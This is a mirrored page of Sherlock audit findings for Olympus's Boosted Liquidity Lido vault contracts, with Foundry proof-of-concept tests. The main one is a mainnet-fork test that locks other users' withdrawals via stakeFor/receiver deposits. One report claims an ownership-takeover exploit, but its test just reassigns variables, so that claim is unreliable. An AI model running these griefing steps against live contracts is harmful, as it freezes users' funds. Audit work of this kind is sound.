Giter Club home page Giter Club logo

2023-03-olympus-judging's People

Contributors

evert0x avatar rcstanciu avatar sherlock-admin avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar

Forkers

locastro12 abaleo

2023-03-olympus-judging's Issues

CRYP70 - VautOwners will lose wsteth after a partial withdrawal

CRYP70

high

VautOwners will lose wsteth after a partial withdrawal

Summary

Users are able to supply wsteth tokens to the vault are able to freely deposit or withdraw from the vault whilst also claiming rewards in the process. Should the vault owner make a partial withdrawal, the transaction will be reverted and the user wont be able to retrieve their funds.

Vulnerability Detail

This function reverts because on withdrawal the vault will obtain the uint256 ohmAmountOut = ohm.balanceOf(address(this)) - ohmBefore; where the balance will be zero during the second withdrawal. The increaseAllowance() function will not accept a zero value and will therefore revert. The proof of concept below outlines this scenario:

function testCannotClaimPartial() public {

    ERC20 balReward = ERC20(address(aliceVault.bal()));

    vm.startPrank(address(alice));
    wsteth.approve(address(aliceVault), wsteth.balanceOf(address(alice)));
    aliceVault.deposit(100 ether, 0);

    uint256[] memory minTokenAmounts = new uint256[](1);
    minTokenAmounts[0] = 0 ether;

    aliceVault.withdraw(1 ether, minTokenAmounts, true);

    vm.expectRevert();
    aliceVault.withdraw(99 ether, minTokenAmounts, false); // <-- reverts here: Lost funds
    vm.stopPrank();

}

Impact

This will cause a Dos of the withdraw() function resulting in the loss of wstETH tokens.

Code Snippet

Tool used

Manual Review

Recommendation

It’s recommended that instead of withdrawing against the ohm balance of the vault, that instead the vault calculates the ratio of ohm and the LpAmount passed as a parameter which is ultimately passed to increaseAllowance().

carrot - Withdrawals can be halted for all users with external staking

carrot

high

Withdrawals can be halted for all users with external staking

Summary

Withdrawals can be bricked by externally depositing stakes and withdrawing through vault. This sets up an underflow condition in totalLP, which reverts for future withdrawals.

Vulnerability Detail

The function deposit and withdraw on BLVaultLido.sol updates a global accounting variable called totalLp which is tracked in the BLVaultManagerLido.sol contract. This is to ensure that only the amount tracked through the deposit function can be withdrawn with the withdraw function. However users can deposit to the vault externally, bypassing the update in the deposit function, and then withdraw normally, pushing down the totalLp accounted for. Other users can no longer withdraw their positions since their withdraw transactions will revert since totalLp is set lower than the actual LP in the vaults.

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L277-L280

This can be exploited through the contract deployed at 0x00A7BA8Ae7bca0B10A32Ea1f8e2a1Da980c6CAd2. This is the BaseRewardPool contract of Aura, which is called through this vault to unwrap and withdraw tokens. This contract also has a stake functionality, which is called during the deposit phase to stake on the aura rewards system. However the problematic bit here is another function stakeFor which also exists on this contract. This function allows a user to stake on behalf of another user, which is what is used in the exploit. The exploit is as follows:

Step Action Vault State Manager totalLp
1 Alice deposits 100e18 tokens of LP Alice: 100e18 100e18
2 Bob (attacker) deposits only 1e18 of LP Bob: 1e18 101e18
3 Bob calls stakeFor on the Aura contract, and stakes 100e18 in his own BoostedVault Bob: 101e18 101e18
4 Bob calls withdraw on the vault, with amount 101e18 Bob: 0 0
5 Alice unable to withdraw anything, since Manager contract's totalLp is 0 and reverting

Impact

Contract stops withdrawals, causing loss to all users with wstEth in the vault.

Code Snippet

Variables in the manager contract is updated here:

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L218

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L175

The revert statement is found in :

Relevant code for stakeFor found on address 0x00A7BA8Ae7bca0B10A32Ea1f8e2a1Da980c6CAd2

function stakeFor(address _for, uint256 _amount) public returns (bool) {
    _processStake(_amount, _for);

    //take away from sender
    stakingToken.safeTransferFrom(msg.sender, address(this), _amount);
    emit Staked(_for, _amount);

    return true;
}

Tool used

Manual Review

Recommendation

Add an accounting logic for individual vaults.
Define a variable vaultTotalLp, and udpate it in deposit and withdraw just like the manager's totalLp.
This would prevent Bob from withdrawing more LP than he put in.

Duplicate of #4

0x4non - Risk due to 100% maximum fee in `BLVaultManagerLido`

0x4non

medium

Risk due to 100% maximum fee in BLVaultManagerLido

Summary

In the BLVaultManagerLido contract where the maximum fee is set to 100%. This may allow the contract owner to rug pull by setting the fee to 100%.

Vulnerability Detail

The setFee function in the BLVaultManagerLido contract allows the contract owner to set the fee value as long as it does not exceed MAX_FEE, which is currently set to 10_000, equivalent to 100%. This could potentially allow the contract owner to rug pull by setting a fee of 100%.

Impact

If the contract owner sets the fee to 100%, it would mean that users would lose their rewards when interacting with the contract, as the entire rewards amount would be taken as a fee.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L86
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L487

Tool used

Manual Review

Recommendation

To mitigate this issue, it is recommended to lower the maximum fee to a reasonable value that would prevent rug pulls while still allowing the platform to charge fees for its services. Consider setting the MAX_FEE to a value that is deemed fair and reasonable by the community or implement a governance mechanism to determine the maximum fee.

Alternatively, you could implement a governance mechanism to allow the community or token holders to vote on the maximum fee value, ensuring a fair and transparent fee structure.

chaduke - getUserPairShare() has a divide-before-multiply precision loss issue

chaduke

medium

getUserPairShare() has a divide-before-multiply precision loss issue

Summary

getUserPairShare() has a divide-before-multiply precision loss issue.

Vulnerability Detail

getUserPairShare() returns a user's pair share:

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L281-L301

However, we have a divide-before-multiply issue here:

 uint256 userOhmShare = (userLpBalance * balances[0]) / liquidityPool().totalSupply();
        uint256 expectedWstethShare = (userOhmShare * wstethOhmPrice) / _OHM_DECIMALS;

First, there is a division in the first line above, and then in the second line, we have a multiplication by wstethOhmPrice. As a result, we might lose a precision up to the liquidityPool().totalSupply() here.

Impact

A divide-before-multiply might lead to precision loss up to liquidityPool().totalSupply().

Code Snippet

See above

Tool used

VScode

Manual Review

Recommendation

Change it to multiply-before-divide as follows:

    function getUserPairShare() public view override returns (uint256) {
        // If total supply is 0 return 0
        if (liquidityPool().totalSupply() == 0) return 0;

        // Get user's LP balance
        uint256 userLpBalance = getLpBalance();

        // Get pool balances
        (, uint256[] memory balances, ) = vault().getPoolTokens(liquidityPool().getPoolId());

        // Get user's share of the wstETH
        uint256 userWstethShare = (userLpBalance * balances[1]) / liquidityPool().totalSupply();

        // Check pool against oracle price
        // getTknOhmPrice returns the amount of wstETH per 1 OHM based on the oracle price
        uint256 wstethOhmPrice = manager().getTknOhmPrice();
-        uint256 userOhmShare = (userLpBalance * balances[0]) / liquidityPool().totalSupply();
-        uint256 expectedWstethShare = (userOhmShare * wstethOhmPrice) / _OHM_DECIMALS;
+       uint256 expectedWstethShare = (userLpBalance * balances[0]  * wstethOhmPrice) / liquidityPool().totalSupply() / _OHM_DECIMALS;


        return userWstethShare > expectedWstethShare ? expectedWstethShare : userWstethShare;
    }

0x4non - `MAX_FEE` policy can be bypass on the constructor

0x4non

medium

MAX_FEE policy can be bypass on the constructor

Summary

The MAX_FEE policy can be bypassed during the constructor initialization. This allows the contract owner to set an incorrect fee during deployment, which can potentially lead to unfair fees for users interacting with the platform.

Vulnerability Detail

The MAX_FEE policy is enforced when changing the fee using the setFee function. However, the constructor does not enforce this policy, allowing the owner to set an arbitrary fee during contract deployment. This bypass can lead to undesirable consequences, as the fee may not be in line with the platform's policies or user expectations.

Impact

Owner can set a higher fees without any constraints by mistake.

Code Snippet

Here you can see that there is a check for the fee;
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L485-L490

But here you could notice the lack of check;
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L142

Here is a poc;

--- a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
+++ b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
@@ -239,6 +239,50 @@ contract BLVaultManagerLidoTest is Test {
     ///     [X]  correctly deploys new vault
     ///     [X]  correctly tracks vaults state
 
+    function testCorrectness_shouldntRevertOnInvalidFee() public {
+        IBLVaultManagerLido.TokenData memory tokenData = IBLVaultManagerLido.TokenData({
+            ohm: address(ohm),
+            pairToken: address(wsteth),
+            aura: address(aura),
+            bal: address(bal)
+        });
+
+        IBLVaultManagerLido.BalancerData memory balancerData = IBLVaultManagerLido
+            .BalancerData({
+                vault: address(vault),
+                liquidityPool: address(liquidityPool),
+                balancerHelper: address(0)
+            });
+
+        IBLVaultManagerLido.AuraData memory auraData = IBLVaultManagerLido.AuraData({
+            pid: uint256(0),
+            auraBooster: address(booster),
+            auraRewardPool: address(auraPool)
+        });
+
+        IBLVaultManagerLido.OracleFeed memory ohmEthPriceFeedData = IBLVaultManagerLido
+            .OracleFeed({feed: ohmEthPriceFeed, updateThreshold: uint48(1 days)});
+
+        IBLVaultManagerLido.OracleFeed memory stethEthPriceFeedData = IBLVaultManagerLido
+            .OracleFeed({feed: stethEthPriceFeed, updateThreshold: uint48(1 days)});
+
+
+        // @audit invalid fee should revert
+        vm.expectRevert();
+        vaultManager = new BLVaultManagerLido(
+                kernel,
+                tokenData,
+                balancerData,
+                auraData,
+                address(0),
+                ohmEthPriceFeedData,
+                stethEthPriceFeedData,
+                address(vaultImplementation),
+                100_000e9,
+                type(uint64).max // fee
+        );     
+    }
+
     function testCorrectness_deployVaultFailsWhenBLInactive() public {
         // Deactivate contract
         vaultManager.deactivate();

Tool used

Manual Review

Recommendation

Add a check on the constructor to enforce the fee policy;

diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
index 9013392..88fa28a 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
@@ -139,6 +139,7 @@ contract BLVaultManagerLido is Policy, IBLVaultManagerLido, RolesConsumer {
         // Configure system
         {
             ohmLimit = ohmLimit_;
+            if (fee_ > MAX_FEE) revert BLManagerLido_InvalidFee();
             currentFee = fee_;
         }
     }

J4de - All remaining OHM are burned causing users to lose part of OHM

J4de

medium

All remaining OHM are burned causing users to lose part of OHM

Summary

The remaining OHM in the BLVaultLido contract should be returned to the user

Vulnerability Detail

// https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L187-L194
        if (unusedOhm > 0) {
            ohm.increaseAllowance(MINTR(), unusedOhm);
            manager.burnOhmFromVault(unusedOhm);
        }

        if (unusedWsteth > 0) {
            wsteth.safeTransfer(msg.sender, unusedWsteth);
        }

When the user Deposits, the remaining OHM will be burned and the remaining wstETH will be returned to the user.In some cases, the remaining OHM may be what the user deserves. For example, wstETH has been used up, but there is some remaining OHM in the process of processing. If this part of OHM is burned, the user will lose something (the user should have deserved it).

Impact

Users may lose some OHM.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L187-L194

Tool used

Manual Review

Recommendation

Return the portion of OHM that the user deserves to the user.

fat32 - Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol

fat32

medium

Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol

Summary

Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
a. can only be called by the vault's owner
b. correctly claims rewards from Aura
Please see the POC below which I used Foundry for.  
The impact is that I am able to gain ownership and Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000).

Vulnerability Detail

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L263-L269

Impact

Unauthorised Change Of Ownership after claimRewards & transfer function in BLVaultLido.sol
The following test cases should fail and revert, but they do not when I use change owner exploit.
a. can only be called by the vault's owner
b. correctly claims rewards from Aura
Please see the POC below which I used Foundry for.  
The impact is that I am able to gain ownership and Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000).

Code Snippet

POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
// POC
// 1. update test file named BLVaultLidoMocks.t.sol for the function below by replacing function named
   // testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner with the following.
function testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address attacker_) public {
        if (attacker_ == alice) {
            vm.prank(alice);
            aliceVault.claimRewards();
        } else {
            bytes memory err = abi.encodeWithSignature("BLVaultLido_OnlyOwner()");
            vm.expectRevert();

            // Try to claim rewards
            bob = alice; // fat32 change owner
            attacker_ = bob; // fat32 change owner
            vm.prank(attacker_);
            aliceVault.claimRewards();
        }
    }
# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol
[⠆] Compiling...
No files changed, compilation skipped

Running 13 tests for src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x3bd0cc650000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)
Traces:
  [97672] BLVaultLidoTest::testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(0x0000000000000000000000000000000000000000) 
    ├─ [0] VM::expectRevert() 
    │   └─ ← ()
    ├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6) 
    │   └─ ← ()
    ├─ [78776] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::claimRewards() 
    │   ├─ [76049] BLVaultLido::claimRewards() [delegatecall]
    │   │   ├─ [2459] BLVaultManagerLido::isLidoBLVaultActive() [staticcall]
    │   │   │   └─ ← true
    │   │   ├─ [52152] MockAuraRewardPool::getReward(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, true) 
    │   │   │   ├─ [46691] MockERC20::mint(0xfAd8712De4330B640064CFA05d0A29978DEa11C6, 1000000000000000000) 
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, amount: 1000000000000000000)
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ [2542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [2542] MockERC20::balanceOf(0x269C4753e15E47d7CaD8B230ed19cFff21f29D51) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [2350] MockAuraRewardPool::extraRewardsLength() [staticcall]
    │   │   │   └─ ← 0
    │   │   └─ ← ()
    │   └─ ← ()
    └─ ← "Call did not revert as expected"

[PASS] testCorrectness_claimRewardsCanOnlyBeCalledWhenManagerIsActive() (gas: 47075)
[PASS] testCorrectness_claimRewardsCorrectlyClaims() (gas: 439002)
[PASS] testCorrectness_depositCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 19714, ~: 19714)
[PASS] testCorrectness_depositCanOnlyBeCalledWhenManagerIsActive() (gas: 47127)
[PASS] testCorrectness_depositCorrectlyDeploysLiquidity() (gas: 396052)
[PASS] testCorrectness_depositCorrectlyIncreasesState(uint256) (runs: 256, μ: 406201, ~: 406202)
[PASS] testCorrectness_getLpBalance(uint256) (runs: 256, μ: 411701, ~: 411702)
[PASS] testCorrectness_getUserPairShare(uint256) (runs: 256, μ: 446025, ~: 446027)
[PASS] testCorrectness_withdrawCanOnlyBeCalledByTheVaultOwner(address) (runs: 256, μ: 384977, ~: 384960)
[PASS] testCorrectness_withdrawCanOnlyBeCalledWhenManagerIsActive() (gas: 52804)
[PASS] testCorrectness_withdrawCorrectlyDecreasesState(uint256) (runs: 256, μ: 600334, ~: 601828)
[PASS] testCorrectness_withdrawCorrectlyWithdrawsLiquidity() (gas: 610408)
Test result: FAILED. 12 passed; 1 failed; finished in 187.90ms

Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultLidoMocks.t.sol:BLVaultLidoTest
[FAIL. Reason: Call did not revert as expected Counterexample: calldata=0x3bd0cc650000000000000000000000000000000000000000000000000000000000000000, args=[0x0000000000000000000000000000000000000000]] testCorrectness_claimRewardsCanOnlyBeCalledByTheVaultOwner(address) (runs: 0, μ: 0, ~: 0)

Encountered a total of 1 failing tests, 12 tests succeeded

Tool used

Foundry + Visual Studio Code

Manual Review

Recommendation

To validate owner, use require statement and not if statement.

cducrest-brainbot - Inccorrect getOhmTknPrice calculation

cducrest-brainbot

high

Inccorrect getOhmTknPrice calculation

Summary

The calculation for `` does not use the correct values.

Vulnerability Detail

We want to output a value that when multiplied by a wstETH amount yields an OHM amount. I.e. we want ohmPerWsteth.
Not taking decimals into account, we can calculate it as ohmPerWsteth = ethPerWsteth * OhmPerEth = ethPerWsteth / ethPerOhm = stethPerWsteth * ethPerSteth / ethPerOhm = stethPerWsteth / (ethPerOhm * stethPerEth)

The logic is APerB = APerC * CPerB and APerB = 1 / BPerA

The calculation uses stethPerEth in numerator instead of denominator.

Impact

Incorrect value of getOhmTknPrice() used to calculate the amount of OHM to mint on deposit, the value of stethPerEth is currently 0.9977325266 so the difference is not that big. Not enough OHM will be minted and users will receive less LP than they should on deposit, resulting in a financial loss on withdraw.

Code Snippet

    function getOhmTknPrice() public view override returns (uint256) {
        // Get stETH per wstETH (18 Decimals)
        uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();

        // Get ETH per OHM (18 Decimals)
        uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);

        // Get stETH per ETH (18 Decimals)
        uint256 stethPerEth = _validatePrice(
            stethEthPriceFeed.feed,
            stethEthPriceFeed.updateThreshold
        );

        // Calculate OHM per wstETH (9 decimals)
        return (stethPerWsteth * stethPerEth) / (ethPerOhm * 1e9);
    }

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L440

Tool used

Manual Review

Recommendation

Use stethPerWsteth / (ethPerOhm * stethPerEth) calculation

Duplicate of #42

hickuphh3 - User withdrawals can be griefed via indirect vault deposits

hickuphh3

high

User withdrawals can be griefed via indirect vault deposits

Summary

Users can directly deposit their LP tokens into the AURA reward pool, with their vault as the receiver. This causes a discrepancy between the totalLp tracked and the actual amount of LP tokens held by the all vaults, which can be used to grief withdrawals.

Vulnerability Detail

The AuraRewardPool allows the caller to specify a receiver:

function deposit(uint256 assets_, address receiver_) external;

Hence, anyone can indirectly credit a vault, which causes the totalLp tracked to be less than the actual amount of LPs held across all vaults. This can cause withdrawals to fail because it decreases the totalLp variable:

// Decrease total LP
manager.decreaseTotalLp(lpAmount_);
function decreaseTotalLp(uint256 amount_) external override onlyWhileActive onlyVault {
  if (amount_ > totalLp) revert BLManagerLido_InvalidLpAmount();
  totalLp -= amount_;
}

POC

Kindly view the testGriefDeposit() test case, where the victim's withdrawal will fail with the BLManagerLido_InvalidLpAmount custom error.

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import {FullMath} from "libraries/FullMath.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IBalancer.sol";
import "../../../../src/policies/BoostedLiquidity/interfaces/IAura.sol";
import {IERC20} from "src/external/OlympusERC20.sol";
import "src/Kernel.sol";
import {MockPriceFeed} from "test/mocks/MockPriceFeed.sol";
import {OlympusMinter} from "modules/MINTR/OlympusMinter.sol";
import {OlympusTreasury} from "modules/TRSRY/OlympusTreasury.sol";
import {OlympusBoostedLiquidityRegistry} from "modules/BLREG/OlympusBoostedLiquidityRegistry.sol";
import {OlympusRoles, ROLESv1} from "modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from "policies/RolesAdmin.sol";
import {IBLVaultManagerLido, BLVaultManagerLido} from "policies/BoostedLiquidity/BLVaultManagerLido.sol";
import "policies/BoostedLiquidity/BLVaultLido.sol";

contract BLVaultIntegration is Test {
  // wstETH whale
  address user = 0x5fEC2f34D80ED82370F733043B6A536d7e9D7f8d;
  IERC20 liquidityPool = IERC20(0xd4f79CA0Ac83192693bce4699d0c10C66Aa6Cf0F);
  IERC20 aura = IERC20(0xC0c293ce456fF0ED870ADd98a0828Dd4d2903DBF);
  IERC20 bal = IERC20(0xba100000625a3754423978a60c9317c58a424e3D);
  IERC20 auraBAL = IERC20(0x616e8BfA43F920657B3497DBf40D6b1A02D4608d);
  IERC20 ohm = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);
  IERC20 wsteth = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
  IAuraMiningLib auraMiningLib = IAuraMiningLib(0x744Be650cea753de1e69BF6BAd3c98490A855f52);
  IAuraRewardPool auraRewardPool = IAuraRewardPool(0x636024F9Ddef77e625161b2cCF3A2adfbfAd3615);
  uint256 pid = 73;
  address auraBooster = 0xA57b8d98dAE62B26Ec3bcC4a365338157060B234;
  IVault balVault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
  IBalancerHelper balancerHelper = IBalancerHelper(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);

  MockPriceFeed stethEthPriceFeed = MockPriceFeed(0x86392dC19c0b719886221c78AB11eb8Cf5c52812);
  MockPriceFeed ohmEthPriceFeed = MockPriceFeed(0x9a72298ae3886221820B1c878d12D872087D3a23);

  // Olympus DAO V3 contracts
  Kernel kernel = Kernel(0x2286d7f9639e8158FaD1169e76d1FbC38247f54b);
  address executor = kernel.executor();
  OlympusMinter minter = OlympusMinter(0xa90bFe53217da78D900749eb6Ef513ee5b6a491e);
  OlympusTreasury treasury = OlympusTreasury(0xa8687A15D4BE32CC8F0a8a7B9704a4C3993D9613);
  OlympusBoostedLiquidityRegistry blreg = new OlympusBoostedLiquidityRegistry(kernel);
  OlympusRoles rolesAdmin = OlympusRoles(0x6CAfd730Dc199Df73C16420C4fCAb18E3afbfA59);

  BLVaultManagerLido vaultManager;
  BLVaultLido vaultImplementation;
  BLVaultLido userVault;

  function setUp() public {
      vaultImplementation = new BLVaultLido();
      IBLVaultManagerLido.TokenData memory tokenData = IBLVaultManagerLido.TokenData({
          ohm: address(ohm),
          pairToken: address(wsteth),
          aura: address(aura),
          bal: address(bal)
      });

      IBLVaultManagerLido.BalancerData memory balancerData = IBLVaultManagerLido
          .BalancerData({
              vault: address(balVault),
              liquidityPool: address(liquidityPool),
              balancerHelper: address(balancerHelper)
          });
      
      IBLVaultManagerLido.AuraData memory auraData = IBLVaultManagerLido.AuraData({
          pid: pid,
          auraBooster: auraBooster,
          auraRewardPool: address(auraRewardPool)
      });

      IBLVaultManagerLido.OracleFeed memory ohmEthPriceFeedData = IBLVaultManagerLido
          .OracleFeed({feed: ohmEthPriceFeed, updateThreshold: uint48(1 days)});

      IBLVaultManagerLido.OracleFeed memory stethEthPriceFeedData = IBLVaultManagerLido
          .OracleFeed({feed: stethEthPriceFeed, updateThreshold: uint48(1 days)});
      
      vaultManager = new BLVaultManagerLido(
          kernel,
          tokenData,
          balancerData,
          auraData,
          address(auraMiningLib),
          ohmEthPriceFeedData,
          stethEthPriceFeedData,
          address(vaultImplementation),
          100_000e9,
          0
      );
      
      // Initialize system
      {
          vm.startPrank(executor);

          // Initialize modules
          kernel.executeAction(Actions.InstallModule, address(blreg));

          // Activate policies
          kernel.executeAction(Actions.ActivatePolicy, address(vaultManager));
          kernel.executeAction(Actions.ActivatePolicy, address(this));
          vm.stopPrank();
      }

       // grant this contract liquidity vault admin role
      {
          rolesAdmin.saveRole("liquidityvault_admin", address(this));
      }

      // Activate Vault Manager
      {
          vaultManager.activate();
      }

      // Prepare user's account
      // Create user vault
      vm.startPrank(user);
      userVault = BLVaultLido(vaultManager.deployVault());

      // Approve wstETH to user's vault
      wsteth.approve(address(userVault), type(uint256).max);
      vm.stopPrank();
  }

  function testGriefDeposit() public {
      //////////////////
      /// TEST SETUP ///
      //////////////////
      uint256 ohmAmt = 1000e9;
      uint256 wstethAmt = 1e18;

      // send some OHM to attacker
      vm.prank(0x1EFFD55a8646F7dC67c7578C20ce575cefeB1120);
      ohm.transfer(user, ohmAmt);

      address victim = address(123);
      vm.prank(user);
      wsteth.transfer(victim, wstethAmt);

      vm.startPrank(victim);
      BLVaultLido victimVault = BLVaultLido(vaultManager.deployVault());
      wsteth.approve(address(victimVault), type(uint256).max);

      // 1. victim performs a deposit
      uint256 victimLpAmt = victimVault.deposit(wstethAmt, 0);
      vm.stopPrank();

      // 2. attacker manually deposits into bal pool, then aura pool with vault as the receiver
      vm.startPrank(user);
      _depositInPoolWithVaultAsReceiver(ohmAmt, wstethAmt * 5);
      // Check that attacker has more LP than victim
      assertGt(auraRewardPool.balanceOf(address(userVault)), auraRewardPool.balanceOf(address(victimVault)));

      // attacker then withdraws from user vault
      uint256[] memory minAmountsOut = new uint256[](2);
      userVault.withdraw(victimLpAmt, minAmountsOut, true);

      // 3. victim is unable to withdraw
      vm.stopPrank();
      vm.expectRevert(BLVaultManagerLido.BLManagerLido_InvalidLpAmount.selector);
      vm.prank(victim);
      victimVault.withdraw(victimLpAmt, minAmountsOut, true);
  }

  function _depositInPoolWithVaultAsReceiver(uint256 ohmAmount_, uint256 wstethAmount_) internal {
      // Build join pool request
      address[] memory assets = new address[](2);
      assets[0] = address(ohm);
      assets[1] = address(wsteth);

      uint256[] memory maxAmountsIn = new uint256[](2);
      maxAmountsIn[0] = ohmAmount_;
      maxAmountsIn[1] = wstethAmount_;

      JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({
          assets: assets,
          maxAmountsIn: maxAmountsIn,
          userData: abi.encode(1, maxAmountsIn, 0),
          fromInternalBalance: false
      });

      // Join balancer pool
      ohm.approve(address(balVault), ohmAmount_);
      wsteth.approve(address(balVault), wstethAmount_);
      balVault.joinPool(IBasePool(address(liquidityPool)).getPoolId(), user, user, joinPoolRequest);

      // Join aura pool
      liquidityPool.approve(address(auraRewardPool), type(uint256).max);
      auraRewardPool.deposit(liquidityPool.balanceOf(user), address(userVault));
  }

  function configureDependencies() external returns (Keycode[] memory dependencies) {}

  function requestPermissions() external view returns (Permissions[] memory requests) {
     Keycode ROLES_KEYCODE = toKeycode("ROLES");

      requests = new Permissions[](2);
      requests[0] = Permissions(ROLES_KEYCODE, rolesAdmin.saveRole.selector);
      requests[1] = Permissions(ROLES_KEYCODE, rolesAdmin.removeRole.selector);
  }
}

Impact

User's withdrawals are griefed and permanently locked.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/interfaces/IAura.sol#L27

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L217-L218

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L276-L280

Tool used

Manual Review, Integration Testing

Recommendation

Consider how the case where vaults are indirectly credited deposits should be handled. From what I see, the tracking of total LPs isn't strictly necessary.

Duplicate of #4

cducrest-brainbot - Abuse decreaseTotalLp for DOS

cducrest-brainbot

high

Abuse decreaseTotalLp for DOS

Summary

The function decreaseTotalLp is called on withdraw of vaults and reverts if amount withdrawn exceeds total LP stored by the vault manager. This assumes that the withdrawn LP have been deposited by the user before, which may be wrong.

A user can LP token on Balancer and reward tokens on Aura, transfer them to the vault (without using the deposit() function) and withdraw() them to break accounting. If the user lowers totalLp to 0, no other user will be able to withdraw their LP.

Vulnerability Detail

withdraw() decreases totalLP on the manager:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L218

The totalLP tracking assume withdrawn LP were once deposited and reverts on unexpected value:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L272-L280

Aura reward poolstakeFor() can be used to increase _balances[vault], allowing the vault to withdraw from aura without having deposited:
https://github.com/aurafinance/convex-platform/blob/c17d05039f8ed5cda8fdebb72e0a17f0119521b9/contracts/contracts/BaseRewardPool.sol#L196-L227

Withdraw function of Aura reward checks for _balances[msg.sender] and calls withdrawTo on Booser:
https://github.com/aurafinance/convex-platform/blob/c17d05039f8ed5cda8fdebb72e0a17f0119521b9/contracts/contracts/BaseRewardPool.sol#L260-L285

Withdraw function of Booster (called by withdrawTo) burns the pool token, which could have been transferred by the user:
https://github.com/aurafinance/convex-platform/blob/c17d05039f8ed5cda8fdebb72e0a17f0119521b9/contracts/contracts/Booster.sol#L483-L509

The rest of the wihtdraw() function of BLVaultLido will run smoothly without specific care from the attacker, it exits the balancer pool using the LP token received from Aura and repays the wstETH / OHM.

Impact

Users can break the tracking of totalLp in the vault manager, preventing other users to withdraw.

